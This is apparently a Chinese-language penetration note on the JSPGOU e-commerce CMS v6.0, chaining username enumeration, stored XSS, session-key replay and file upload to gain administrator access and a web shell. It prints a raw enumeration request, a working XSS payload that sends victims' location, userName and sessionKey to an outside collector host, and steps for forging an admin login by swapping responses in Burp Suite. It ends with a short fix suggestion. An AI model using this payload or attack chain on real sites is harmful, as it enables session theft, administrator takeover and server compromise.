jspgou显示服务器异常,jspGOU单店版 v6.0 渗透笔记（组合GetShell）

JSPGOU单店版 v6.0 渗透笔记(组合GetShell)

jspgou是基于 java 技术研发的电子商务管理软件，以其强大、稳定、安全、高效、跨平台等多方面的优点，网站 模板统一在后台管理，系统拥有强大、灵活的标签，用户自定义显示内容和显示方式。jspgou为大、中、小企业 提供一个安全、高效、强大的电子商务解决方案，协助企业快速构建电子商务平台，拓展企业销售渠道。

以下漏洞理论通杀该CMS所有版本

0x01 用户遍历

GET /username_unique.jspx?username=admin HTTP/1.1

Host: demo3.jeecms.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0

Accept: application/json, text/javascript, */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Referer: http://demo3.jeecms.com/register.jspx

X-Requested-With: XMLHttpRequest

Connection: keep-alive

Cookie: JSESSIONID=A5EADADBD9C57169205A2E89B2CF98CA; clientlanguage=zh_CN; __qc_wId=66; pgv_pvid=9910498378

修改username参数后发包 返回false为存在 true为不存在。

0x02 前台储存型XSS(管理和用户均可打)：

jsExp：

var website = "http://xss.com/XSS/";

(function() {

(new Image()).src = website + '/?keepsession=1&location=' + escape((function() {

try {

return document.location.href

} catch (e) {

return ''

}

})()) + '&User=' + escape((function() {

try {

return localStorage.getItem("userName")

} catch (e) {

return ''

}

})()) + '&sessionKey=' + escape((function() {

try {

return localStorage.getItem("sessionKey")

} catch (e) {

return ''

}

})());

})();

注意看会发现写的exp里面连Cookie都没要 没错 这套系统的Cookie就是个摆设 sessionKey在整个运行过程起到了至关重要的地位 所以打Cookie时只取sessionKey就行

利用：

密码正确时的返回包

密码错误时的返回包

密码正确后请求的第一个包：

xss打到的sessionKey正是这里所用到的 但是程序对数据包进行了校验 无法直接修改 利用burpsuite的响应包替换功能

将打到的sessionKey替换到

{"body":{"sessionKey":"c9a23148eb0ef01d540d8e27d39bd07f695b51f0c6c0f00dba017fc2c6eeacd39e19033297f0a6702a49edd3d919d32f","permission":"*"}, "message":"success", "code":200}

中来 然后替换掉 下面的数据包

{"body":"", "message":"username or password error", "code":306}

再然后 放开bp 账号密码随便输入 登录即为管理员：

0x03 GetShell：

通过后台=>界面=>资源管理=>上传文件可轻松Getshell 无限制

0x04 总结：

出现该问题应该是作者笃定了xss打不到后台去 事实也的确如此 代码在后台被过滤了 无法运行的 但是作者忘记了自己本身的机制就是依赖于sessionKey 每个用户登录后都会生成 并且存在用户端PC Admin账号也是如此 不管是admin先登录前台还是先登录后台 只要访问到了目标页面就一定中招。修复的话可以把Cookie真正校验起来 不要过度依赖sessionKey以及加密算法校验算法 (算法不可逆 但是hk可以拿你的加密结果去和 数据库 中加密值对比啊)